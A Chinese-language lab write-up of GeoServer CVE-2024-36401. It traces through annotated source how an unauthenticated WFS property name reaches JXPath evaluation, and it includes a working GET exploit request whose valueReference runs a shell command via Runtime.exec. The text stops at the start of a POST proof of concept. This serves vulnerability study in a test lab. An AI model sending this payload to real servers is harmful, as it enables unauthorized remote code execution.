漏洞介绍

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

漏洞范围

  • version < 2.23.6
  • version < 2.24.4
  • version < 2.25.2

漏洞靶场

使用vulhub的靶场:

使用环境为GeoServer 2.23.2

vulhub-master/geoserver/CVE-2024-36401/

启动靶场环境:

1
docker-compose up -d

环境启动后,访问 http://your-ip:8080/geoserver查看到GeoServer的默认页面。

漏洞原理

Jxpath

JXPath是apache公司提供的XPath的java实现,JXPath 提供了用于遍历 JavaBean、DOM 和其他类型的对象的图形的 API,同时提供了一套扩展机制使我们可以增加对这些对象之外的其他对象模型的支持(重点).
JXPath支持标准的XPath函数,开箱即用。它还支持 “标准 “扩展函数,这些函数基本上是通往Java的桥梁,以及完全自定义的扩展函数.
commons-jxpath:commons-jxpath <= 1.3
简单来说就是一个java拓展的xpath库,他相比较于传统的xpath进行了针对java的拓展,能够像表达式语言一样能够在表达式里面new对象调用静态方法了

img

这里就分别有三个例子来表示他的用法

  • 通过.new创建对象,调用构造器方法
  • 能够调用任意静态方法(public)
  • getAuthorsFirstName($book),相当于$book.getAuthorsFirstName调用某对象的xx方法

漏洞原理比较简单,使用第三个用法,exec(Runtime.getRuntime(),’’)就能够执行任意命令

1
2
3
4
5
6
try {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')");
} catch (Exception e) {
e.printStackTrace();
}

WFS GetPropertyValue

Web Feature Service (WFS)是开放地理空间联盟(OGC)创建的一个标准,用于在互联网上使用HTTP创建、修改和交换矢量格式的地理信息。WFS以地理标记语言(GML)编码和传输信息,GML是XML的一个子集。
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html
以上是Geoserver对于wfs的介绍,其实就可以理解为一个协议,能够访问通过http访问地理信息的协议,然后该协议在不同版本有许多操作

img

而我们需要利用的就是存在于2.0.0版本的GetPropertyValue操作

从数据存储中为使用查询表达式标识的一组功能检索功能属性的值或复杂功能属性的部分值

从描述就可以发现他是通过表达式语言查询对应的Property属性,这里具体指的就是特定地理特征类型(如地图中的河流、建筑物等)的描述信息,包括其属性和其他特性的定义。
接着我们来调试一下这个过程

img

src/main/java/org/geoserver/ows/Dispatcher.java#L257-L259, L268

首先在org.geoserver.ows.Dispatcher#handleRequestInternal接受并处理wfs请求的操作并分配给对应的service去执行,这里就是Operation( GetPropertyValue, wfs )

img

src/main/java/org/geoserver/wfs/DefaultWebFeatureService20.java#L123-L126

接着在org.geoserver.wfs.DefaultWebFeatureService20#getPropertyValue这里就为getPropertyValue操作的具体service处理类了,继续跟进run

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public ValueCollectionType run(GetPropertyValueType request) throws WFSException {

// 检查请求中的 valueReference 是否为空,如果为空则抛出异常
if (request.getValueReference() == null) {
throw new WFSException(request, "No valueReference specified", "MissingParameterValue")
.locator("valueReference");
} else if ("".equals(request.getValueReference().trim())) { // 检查 valueReference 是否为空字符串,如果是则抛出异常
throw new WFSException(
request,
"ValueReference cannot be empty",
ServiceException.INVALID_PARAMETER_VALUE)
.locator("valueReference");
}

// 创建一个 GetFeatureType 请求
GetFeatureType getFeature = Wfs20Factory.eINSTANCE.createGetFeatureType();
// 设置请求的基础 URL
getFeature.setBaseUrl(request.getBaseUrl());
// 添加请求的查询表达式
getFeature.getAbstractQueryExpression().add(request.getAbstractQueryExpression());
// 设置请求的解析方式
getFeature.setResolve(request.getResolve());
// 设置请求的解析深度
getFeature.setResolveDepth(request.getResolveDepth());
// 设置请求的解析超时时间
getFeature.setResolveTimeout(request.getResolveTimeout());
// 设置请求的计数
getFeature.setCount(request.getCount());

// 运行 GetFeature 请求并获取 FeatureCollectionType 对象
FeatureCollectionType fc =
(FeatureCollectionType)
delegate.run(GetFeatureRequest.adapt(getFeature)).getAdaptee();

// 从请求的查询表达式中获取 QueryType 对象
QueryType query = (QueryType) request.getAbstractQueryExpression();
// 从 QueryType 对象中获取类型名称
QName typeName = (QName) query.getTypeNames().iterator().next();
// 从目录中获取 FeatureTypeInfo 对象
FeatureTypeInfo featureType =
catalog.getFeatureTypeByName(typeName.getNamespaceURI(), typeName.getLocalPart());

try {

// 创建 PropertyName 对象
PropertyName propertyName =
filterFactory.property(request.getValueReference(), getNamespaceSupport());
// 创建没有索引的 PropertyName 对象
PropertyName propertyNameNoIndexes =
filterFactory.property(
request.getValueReference().replaceAll("\\[.*\\]", ""),
getNamespaceSupport());
// 评估 FeatureType 的 AttributeDescriptor
AttributeDescriptor descriptor =
(AttributeDescriptor)
propertyNameNoIndexes.evaluate(featureType.getFeatureType());
// 检查是否是特性 ID 请求
boolean featureIdRequest =
FEATURE_ID_PATTERN.matcher(request.getValueReference()).matches();
// 如果 descriptor 为 null 并且不是特性 ID 请求,则抛出异常
if (descriptor == null && !featureIdRequest) {
throw new WFSException(
request, "No such attribute: " + request.getValueReference());
}

// 从特性集合创建 ValueCollectionType 对象
ValueCollectionType vc = Wfs20Factory.eINSTANCE.createValueCollectionType();
// 设置时间戳
vc.setTimeStamp(fc.getTimeStamp());
// 设置匹配数量
vc.setNumberMatched(fc.getNumberMatched());
// 设置返回数量
vc.setNumberReturned(fc.getNumberReturned());
// 添加新的 PropertyValueCollection 到成员中
vc.getMember()
.add(
new PropertyValueCollection(
fc.getMember().iterator().next(), descriptor, propertyName));
// 返回 ValueCollectionType 对象
return vc;
} catch (IOException e) { // 捕获并处理 IOException
throw new WFSException(request, e);
}
}

src/main/java/org/geoserver/wfs/GetPropertyValue.java#L58-L120

主要代码在propertyNameNoIndexes.evaluate(featureType.getFeatureType())这一块,propertyName就是我们要查询的地理类型,然后调用的evaluate去处理的

img

src/main/java/org/geoserver/wfs/GetPropertyValue.java#L99, L115

进入evalute发现这里调用了这个存在漏洞的api,org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class),其中的attPath能够控制,所以就导致了漏洞

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public <T> T evaluate(Object obj, Class<T> target) {
// 获取上一次成功的属性访问器
PropertyAccessor accessor = lastAccessor;

// 初始化属性值和成功标志
Object value = false;
boolean success = false;
// 如果属性访问器不为空且能处理当前对象和属性,尝试获取属性值
if (accessor != null && accessor.canHandle(obj, attPath, target)) {
try {
value = accessor.get(obj, attPath, target);
success = true;
} catch (Exception e) {
// 如果失败,我们将尝试另一个访问器
}
}

// 如果没有成功,意味着需要找到一个属性访问器
if (!success) {
// 如果有命名空间支持且没有提示,创建一个新的提示
if (namespaceSupport != null && hints == null) {
hints = new Hints(PropertyAccessorFactory.NAMESPACE_CONTEXT, namespaceSupport);
}
// 查找所有可能的属性访问器
List<PropertyAccessor> accessors =
PropertyAccessors.findPropertyAccessors(obj, attPath, target, hints);
List<Exception> exceptions = null;
if (accessors != null) {
// 对于每一个属性访问器,尝试获取属性值
for (PropertyAccessor propertyAccessor : accessors) {
accessor = propertyAccessor;
try {
value = accessor.get(obj, attPath, target);
success = true;
break;
} catch (Exception e) {
// 如果失败,我们将尝试另一个访问器,并记录这个异常
if (exceptions == null) {
exceptions = new ArrayList<>();
}
exceptions.add(e);
}
}
}

// 如果所有的属性访问器都失败了
if (!success) {
// 如果宽容模式为 true,返回 null
if (lenient) return null;
else {
// 否则,抛出一个异常,并将所有的异常添加到这个异常的抑制异常列表中
IllegalArgumentException exception =
new IllegalArgumentException(
"Could not find working property accessor for attribute ("
+ attPath
+ ") in object ("
+ obj
+ ")");
if (exceptions != null) {
exceptions.forEach(e -> exception.addSuppressed(exception));
}
throw exception;
}
} else {
// 如果找到了一个可以处理当前对象和属性的属性访问器,保存这个属性访问器以供后续使用
lastAccessor = accessor;
}
}

// 如果目标类型为 null,直接返回获取到的属性值
if (target == null) {
return (T) value;
}

// 否则,将获取到的属性值转换为目标类型,并返回
return Converters.convert(value, target);
}

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\AttributeExpressionImpl.class#L104-L158(需用Maven下载依赖包)

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\AttributeExpressionImpl.class#L121(需用Maven下载依赖包)

接着我们分析一下为什么当时没有找到这个api的使用点,很明显这里使用了findPropertyAccessors方法动态获取属性访问器accessor,这里我们跟一下findPropertyAccessors的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 查找特定对象的一系列 {@link PropertyAccessor}。
*
* <p>此方法将返回所有能够处理提供的对象和xpath表达式的访问器,不保证顺序。
*
* @param object 目标对象。
* @param xpath 表示目标对象属性的xpath表达式。
* @param hints 传递给工厂的提示。
* @return 属性访问器列表,如果对象为null则返回 <code>null</code>
*/
public static List<PropertyAccessor> findPropertyAccessors(
Object object, String xpath, Class target, Hints hints) {
// 如果对象为null,直接返回null
if (object == null) return null;

// 创建一个空的属性访问器列表
List<PropertyAccessor> list = new ArrayList<>();

// 遍历所有的属性访问器工厂
for (PropertyAccessorFactory factory : FACTORY_CACHE) {
// 使用工厂创建属性访问器
PropertyAccessor accessor =
factory.createPropertyAccessor(object.getClass(), xpath, target, hints);
// 如果访问器不为null且能处理当前对象和属性,将其添加到列表中
if (accessor != null && accessor.canHandle(object, xpath, target)) {
list.add(accessor);
}
}
// 返回属性访问器列表
return list;
}

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\expression\PropertyAccessors.class#L19-L34(需用Maven下载依赖包)

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\expression\PropertyAccessors.class#L25-L30(需用Maven下载依赖包)

这里遍历内置的那八个accessor调用各自的canHandle方法是否能够处理当前的对象以及xpath参数,能够处理则返回该添加到PropertyAccessor集合里面最后返回这个集合

img

很明显这里的FeaturePropertyAccessor只需要满足obj继承Attribute或者AttributeType就行了,至于其他的Accessor的canHandler方法可以自己分析一下

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\expression\SimpleFeaturePropertyAccessorFactory.class#L128(需用Maven下载依赖包)

注意这里如果传入的是obj自带有的地理数据如这里的the_geom就会通过SimpleFeaturePropertyAccessorFactory的can_handler

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\expression\PropertyAccessors.class#L19-L34(需用Maven下载依赖包)

总结一下,首先这里的GetPropertyValue请求其实就查询指定图层layer的指定要素,通过valueReference的方式传入属性名,然后这里属性名的查询方式就直接调用的geotool的漏洞api

WFS GetFeature

这个请求是用于从服务器检索地理空间要素的全部或部分属性及几何信息,而通过前面的漏洞的分析我们很容易知道漏洞触发点是在属性名查询这里,所以这里的GetFeature请求我们重点关注一下filter过滤逻辑部分,对于属性名的处理

img

src/main/java/org/geoserver/wfs/GetFeature.java#L376-L431

主要是这一块代码,至于每个OGC请求就不需要我再分析了,直接调一下就能发现在org.geoserver.ows.Dispatcher#handleRequestInternal处理分发wfs操作

img

src/main/java/org/geoserver/ows/Dispatcher.java#L268

img

src/main/java/org/geoserver/ows/Dispatcher.java#L867

然后获取对应的操作方法直接反射调用的

img

src/main/java/org/geoserver/wfs/DefaultWebFeatureService.java#L109

然后在wfs模块内部又会经历一次分发,所以我们调试的话直接在对应service类的run方法开始调就行没什么好说的

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
public FeatureCollectionResponse run(GetFeatureRequest request) throws WFSException {
List<Query> queries = request.getQueries();

if (queries.isEmpty()) {
throw new WFSException(request, "没有指定查询");
}

// WFS 2.0 验证,如果有锁定,"hits" 不被允许
if (WFSInfo.Version.V_20.compareTo(request.getVersion()) >= 0
&& request.isLockRequest()
&& request.isResultTypeHits()) {
throw new WFSException(
"GetFeatureWithLock 不能用于结果类型 'hits'",
ServiceException.INVALID_PARAMETER_VALUE,
"resultType");
}

// 存储的查询,预处理编译任何存储的查询到实际的查询对象
boolean getFeatureById = processStoredQueries(request);
queries = request.getQueries();

if (request.isQueryTypeNamesUnset()) {
expandTypeNames(request, queries, getFeatureById, getCatalog());
}

String lockId = null;
if (request.isLockRequest()) {
lockId = filterRequestToLocked(request, queries);
}

// 优化思路
//
// 我们应该能够将这个过程减少到两次操作。
//
// 执行第一次操作
// - 在第一次操作中尝试锁定 Fids
// - 同时在第一次操作中收集 Bounds 信息
//
// 写入第二次操作
// - 使用 Bounds 来描述我们的 FeatureCollections
// - 遍历 FeatureResults 生成 GML
//
// 并始终记住如果我们失败了要释放锁:
// - 如果我们无法获取所有需要的锁,我们将需要失败并
// 遍历 FeatureSources 来释放锁
//
BigInteger bi = request.getMaxFeatures();
if (bi == null) {
request.setMaxFeatures(BigInteger.valueOf(Integer.MAX_VALUE));
}

// 考虑到 wfs 的最大特性
int maxFeatures = Math.min(request.getMaxFeatures().intValue(), wfs.getMaxFeatures());

// 如果这只是一个 HITS 请求 AND wfs 设置标志
// hitsIgnoreMaxFeatures 被设置,那么将 maxFeatures 设置为
// geotools 支持的最大值。这目前是
// java.lang.Integer.MAX_VALUE 的最大值,所以即使有匹配的值
// 也不可能返回超过这个值,除非改变 geotools 使用长整型或分页结果。
if (wfs.isHitsIgnoreMaxFeatures() && request.isResultTypeHits()) {
maxFeatures = org.geotools.api.data.Query.DEFAULT_MAX;
}

// 获取视图参数(如果有)
List<Map<String, String>> viewParams = null;
if (request.getViewParams() != null && request.getViewParams().size() > 0) {
viewParams = request.getViewParams();
}

boolean isNumberMatchedSkipped = false;
int count = 0; // 应该是长整型
Supplier<BigInteger> totalCount = () -> BigInteger.ZERO;

// 返回特性的结果集中的偏移量
int totalOffset = request.getStartIndex() != null ? request.getStartIndex().intValue() : -1;
if (totalOffset == -1
&& request.getVersion().startsWith("2")
&& (wfs.isCiteCompliant()
|| (request.getMaxFeatures() != null
&& request.getMaxFeatures().longValue() > 0
&& request.isResultTypeHits()))) {
// 严格遵守 WFS 2.0 规范要求 startindex 默认为零。
// 这不是强制的,因为 startindex 触发排序并降低性能。
// WFS 2.0 的 CITE 测试尚不存在;CITE 合规性设置被视为
// 对 WFS 2.0 规范的严格(更严格)合规性的请求。
// 参见 GEOS-5085。
totalOffset = 0;
}
int offset = totalOffset;

// 特性集合大小,我们可能需要计算它
// 优化:WFS 1.0 不需要计数,除非我们有多个查询元素
// 并且我们被要求对返回的结果进行全局限制
boolean calculateSize =
!(("1.0".equals(request.getVersion()) || "1.0.0".equals(request.getVersion()))
&& (queries.size() == 1 || maxFeatures == Integer.MAX_VALUE));

List<FeatureCollection<? extends FeatureType, ? extends Feature>> results =
new ArrayList<>();
final List<CountExecutor> totalCountExecutors = new ArrayList<>();
try {
for (int i = 0; (i < queries.size()) && (count < maxFeatures); i++) {

Query query = queries.get(i);
try {
// 别名健壮性检查
validateQueryAliases(request, query);

List<FeatureTypeInfo> metas = new ArrayList<>();
for (QName typeName : query.getTypeNames()) {
metas.add(featureTypeInfo(typeName, request));
}

// 第一个是主要的特性类型
FeatureTypeInfo meta = metas.get(0);

// 解析请求的属性名并在请求的类型中分配
List<List<String>> reqPropertyNames = parsePropertyNames(query, metas);

NamespaceSupport ns = getNamespaceSupport();

// 设置连接(如果指定)
List<Join> joins = null;
String primaryAlias = null;
QName primaryTypeName = query.getTypeNames().get(0);
FeatureTypeInfo primaryMeta = metas.get(0);

// 确保过滤器是合理的
//
// 非简单特性类型的过滤器验证尚未支持。
// FIXME: 支持非简单特性类型的过滤器验证:
// 需要考虑 xpath 属性和如何在
// GeoTools app-schema FeaturePropertyAccessorFactory 中配置命名空间前缀。
Filter filter = query.getFilter();

if (filter == null && metas.size() > 1) {
throw new WFSException(request, "连接查询必须指定过滤器");
}

if (filter != null) {
if (meta.getFeatureType() instanceof SimpleFeatureType) {
if (metas.size() > 1) {
// 清理别名,它们不能与特性类型名称冲突
// 也不能与它们的属性冲突
query = AliasedQuery.fixAliases(metas, query);
// 过滤器可能已经被重写
filter = query.getFilter();

// 连接,需要将连接过滤器与其他过滤器分开
JoinExtractingVisitor extractor =
new JoinExtractingVisitor(metas, query.getAliases());
extractor.setQueriedTypes(query.getTypeNames());
filter.accept(extractor, null);

primaryAlias = extractor.getPrimaryAlias();
primaryMeta = extractor.getPrimaryFeatureType();
metas = extractor.getFeatureTypes();
primaryTypeName =
new QName(
primaryMeta.getNamespace().getURI(),
primaryMeta.getName());
joins = extractor.getJoins();
if (joins.size() != metas.size() - 1) {
throw new WFSException(
request,
String.format(
"查询指定了 %d 类型,但找到了 %d "
+ "连接过滤器",
metas.size(), extractor.getJoins().size()));
}

// 验证每个连接的过滤器,以及连接过滤器
for (int j = 1; j < metas.size(); j++) {
Join join = joins.get(j - 1);
validateJoin(request, query, filter, join, metas.get(j));
}

filter = extractor.getPrimaryFilter();
if (filter != null) {
validateFilter(filter, query, primaryMeta, request);
}
} else {
validateFilter(filter, query, meta, request);
}
} else {
BBOXNamespaceSettingVisitor filterVisitor =
new BBOXNamespaceSettingVisitor(ns);
filter.accept(filterVisitor, null);
}
}

List<List<PropertyName>> propNames = new ArrayList<>();
List<List<PropertyName>> allPropNames = new ArrayList<>();
collectPropertyNames(
request, metas, meta, reqPropertyNames, ns, propNames, allPropNames);

// 如果存在,验证 sortby
List<SortBy> sortBy = query.getSortBy();
if (sortBy != null
&& !sortBy.isEmpty()
&& meta.getFeatureType() instanceof SimpleFeatureType) {
validateSortBy(sortBy, meta, request);
}

// 加载主要特性源
Hints hints = null;
if (joins != null) {
hints = new Hints(ResourcePool.JOINS, joins);
}

// 对于 WFS-NG 数据存储 ONLY 的远程重投影
if (meta.getStore()
.getConnectionParameters()
.get(WFSDataStoreFactory.USEDEFAULTSRS.key)
!= null
&& meta.getMetadata().get(FeatureTypeInfo.OTHER_SRS) != null) {
// 如果 wfs-ng 数据存储没有设置为使用默认 srs
// 然后在 OTHER_SRS 列表中找到请求 SRS
if (!Boolean.valueOf(
meta.getStore()
.getConnectionParameters()
.get(WFSDataStoreFactory.USEDEFAULTSRS.key)
.toString())
&& query.getSrsName() != null) {
hints = setWFSCascadingReprojection(query, meta, hints);
}
}

FeatureSource<? extends FeatureType, ? extends Feature> source =
primaryMeta.getFeatureSource(null, hints);

// 处理本地最大值
int queryMaxFeatures = maxFeatures - count;
int metaMaxFeatures = maxFeatures(metas);
if (metaMaxFeatures > 0 && metaMaxFeatures < queryMaxFeatures) {
queryMaxFeatures = metaMaxFeatures;
}
Map<String, String> viewParam = viewParams != null ? viewParams.get(i) : null;
org.geotools.api.data.Query gtQuery =
toDataQuery(
query,
filter,
offset,
queryMaxFeatures,
source,
request,
allPropNames.get(0),
viewParam,
joins,
primaryTypeName,
primaryAlias);

if (LOGGER.isLoggable(Level.FINE)) {
LOGGER.fine("查询是 " + query + "\n 转换为 gt2: " + gtQuery);
}

// 允许扩展修改正在运行的查询
GetFeatureContext context =
new GetFeatureContext(request, meta, source, gtQuery);
List<GetFeatureCallback> callbacks =
GeoServerExtensions.extensions(GetFeatureCallback.class);
if (!callbacks.isEmpty()) {
for (GetFeatureCallback callback : callbacks) {
callback.beforeQuerying(context);
}
if (gtQuery != context.getQuery() && LOGGER.isLoggable(Level.FINE)) {
LOGGER.fine("GetFeatureCallback 更改后的查询: " + source);
}
gtQuery = context.getQuery();
}
FeatureCollection<? extends FeatureType, ? extends Feature> features =
getFeatures(request, source, gtQuery);

if (!(meta.getFeatureType() instanceof SimpleFeatureType)) {
features.getSchema().getUserData().put("targetCrs", query.getSrsName());
features.getSchema()
.getUserData()
.put("targetVersion", request.getVersion());
}

if (!calculateSize) {
// if offset was specified and we have more queries left in this request
// then we
// must calculate size in order to adjust the offset
calculateSize = offset > 0 && i < queries.size() - 1;
}

int size = 0;
if (calculateSize) {
size = features.size();
}

// update the count
count += size;

isNumberMatchedSkipped =
meta.getSkipNumberMatched() && !request.isResultTypeHits();
if (!isNumberMatchedSkipped) {
if (calculateSize
&& (queryMaxFeatures == Integer.MAX_VALUE
|| size < queryMaxFeatures)
&& offset <= 0) {
totalCountExecutors.add(new CountExecutor(size));
} else {
org.geotools.api.data.Query qTotal =
toDataQuery(
query,
filter,
0,
Integer.MAX_VALUE,
source,
request,
allPropNames.get(0),
viewParam,
joins,
primaryTypeName,
primaryAlias);
totalCountExecutors.add(new CountExecutor(source, qTotal));
}
}

if (offset > 0) {
if (size > 0) {
// features returned, offset can be set to zero
offset = 0;
} else {
// no features might have been because of the offset that was specified,
// check the size of the same query but with no offset
org.geotools.api.data.Query q2 =
toDataQuery(
query,
filter,
0,
queryMaxFeatures,
source,
request,
allPropNames.get(0),
viewParam,
joins,
primaryTypeName,
primaryAlias);

// int size2 = getFeatures(request, source, q2).size();
int size2 = source.getCount(q2);
if (size2 > 0) {
// adjust the offset for the next query
offset = Math.max(0, offset - size2);
}
}
}
List<PropertyName> metaPropNames = propNames.get(0);
if (features.getSchema() instanceof SimpleFeatureType
&& metaPropNames != null
&& metaPropNames.size() < allPropNames.get(0).size()) {
features = retypeToRequestedProperties(features, metaPropNames);
}

// allow encoders to grab information about this layer if needs be
if (primaryMeta != null) {
features = TypeInfoCollectionWrapper.wrap(features, primaryMeta);
}

results.add(features);
} catch (WFSException e) {
// intercept and set locator to query handle if one was set, or if it simply set
// to GetFeature, which is the default
if (query.getHandle() != null
&& (e.getLocator() == null
|| "GetFeature".equalsIgnoreCase(e.getLocator()))) {
e.setLocator(query.getHandle());
}
throw e;
}
}

totalCount =
updateTotalCount(
maxFeatures,
isNumberMatchedSkipped,
count,
totalOffset,
calculateSize,
totalCountExecutors);
} catch (IOException | SchemaException e) {
throw new WFSException(
request, "Error occurred getting features", e, request.getHandle());
}

return buildResults(
request,
totalOffset,
maxFeatures,
count,
totalCount,
results,
lockId,
getFeatureById);
}

src/main/java/org/geoserver/wfs/GetFeature.java#L236-L658

img

这一部分就是我们构造的filter,直接跟进validateFilter方法他是执行我们的filter的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
// 定义一个名为validateFilter的方法,该方法接收四个参数:一个Filter对象,一个Query对象,一个FeatureTypeInfo对象和一个GetFeatureRequest对象。
void validateFilter(
Filter filter, Query query, final FeatureTypeInfo meta, final GetFeatureRequest request)
throws IOException {

// 1. 确保任何属性名都指向一个实际存在的属性
// 获取特征类型
final FeatureType featureType = meta.getFeatureType();
// 创建一个表达式访问器
ExpressionVisitor visitor =
new AbstractExpressionVisitor() {
// 重写visit方法
@Override
public Object visit(PropertyName name, Object data) {
// 如果属性名在特征类型中找不到,并且属性名不是GmlBoundedBy
if (name.evaluate(featureType) == null && !isGmlBoundedBy(name)) {
// 抛出一个WFSException异常,异常信息为"非法的属性名"
throw new WFSException(
request,
"Illegal property name: "
+ name.getPropertyName()
+ " for feature type "
+ meta.prefixedName(),
"InvalidParameterValue");
}

return name;
}
};
// 使用访问器访问过滤器
filter.accept(new AbstractFilterVisitor(visitor), null);

// 2. 确保任何空间谓词都是针对实际的空间属性
// 创建一个过滤器访问器
AbstractFilterVisitor fvisitor =
new AbstractFilterVisitor() {

// 重写visit方法
@Override
protected Object visit(BinarySpatialOperator filter, Object data) {
PropertyName name = null;
// 如果过滤器的第一个表达式是属性名
if (filter.getExpression1() instanceof PropertyName) {
name = (PropertyName) filter.getExpression1();
} else if (filter.getExpression2() instanceof PropertyName) {
// 如果过滤器的第二个表达式是属性名
name = (PropertyName) filter.getExpression2();
}

if (name != null) {
// 检查特征类型以确保其是一个几何类型
AttributeDescriptor att =
(AttributeDescriptor) name.evaluate(featureType);
if (!(att instanceof GeometryDescriptor) && !isGmlBoundedBy(name)) {
// 如果不是,抛出一个WFSException异常,异常信息为"属性不是特征类型的几何属性"
throw new WFSException(
request,
"Property "
+ name
+ " is not geometric in feature type "
+ meta.prefixedName(),
"InvalidParameterValue");
}
}

return filter;
}
};
// 使用访问器访问过滤器
filter.accept(fvisitor, null);

// 3. 确保查询中指定的任何边界都相对于查询上定义的srs是有效的
// 如果wfs是CiteCompliant
if (wfs.isCiteCompliant()) {

// 如果查询的srsName不为空
if (query.getSrsName() != null) {
final Query fquery = query;
// 创建一个CiteBBOXValidator对象
fvisitor = new CiteBBOXValidator(fquery, request);

// 使用访问器访问过滤器
filter.accept(fvisitor, null);
}
}

// 4. 确保在非空间比较中不使用空间属性 (CITE WFS 2.0)
// 如果wfs是CiteCompliant
if (wfs.isCiteCompliant()) {
// 创建一个过滤器访问器
fvisitor =
new AbstractFilterVisitor() {
// 重写visit方法
@Override
protected Object visit(BinaryComparisonOperator filter, Object data) {
Expression ex1 = filter.getExpression1();
Expression ex2 = filter.getExpression2();
// 如果第一个表达式是属性名
if (ex1 instanceof PropertyName) {
checkNonSpatial((PropertyName) ex1);
}
// 如果第二个表达式是属性名
if (ex2 instanceof PropertyName) {
checkNonSpatial((PropertyName) ex2);
}

return super.visit(filter, data);
}

// 定义一个检查非空间的方法
private void checkNonSpatial(PropertyName pn) {
AttributeDescriptor ad = (AttributeDescriptor) pn.evaluate(featureType);
// 如果属性描述符是一个几何描述符或者是GmlBoundedBy
if (ad instanceof GeometryDescriptor || isGmlBoundedBy(pn)) {
// 抛出一个WFSException异常,异常信息为"不能在字母数字二进制比较中使用空间属性"
throw new WFSException(
request,
"Cannot use a spatial property in a alphanumeric binary "
+ "comparison");
}
}
};

// 使用访问器访问过滤器
filter.accept(fvisitor, null);
}
}

src/main/java/org/geoserver/wfs/GetFeature.java#L1576-L1681

这里创建了两个访问器去解析我们的过滤语句,为什么创建的两个,这是因为我们使用的是用来指定一个空间关系过滤条件,即要求查询的要素与某个几何体相交。所以用两个访问器分别解析

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\AttributeExpressionImpl.class#L110(需用Maven下载依赖包)

evalute解析属性名这里跟前面一样直接触发漏洞点

漏洞复现

在官方漏洞通告中提到可以找到漏洞相关的WFS方法:

No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.

比如,这里使用GetPropertyValue来执行xpath表达式。参考官方文档,构造了两个POC。基于GET方法的POC:

1
2
3
4
5
6
7
8
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

image-20250512142705990

基于POST方法的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
